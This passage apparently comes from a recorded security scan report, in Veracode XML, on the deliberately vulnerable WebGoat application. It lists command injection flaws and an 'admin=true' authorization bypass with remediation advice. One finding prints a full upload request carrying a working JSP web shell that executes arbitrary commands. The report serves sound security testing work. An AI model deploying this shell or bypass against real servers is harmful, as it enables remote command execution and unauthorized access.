xASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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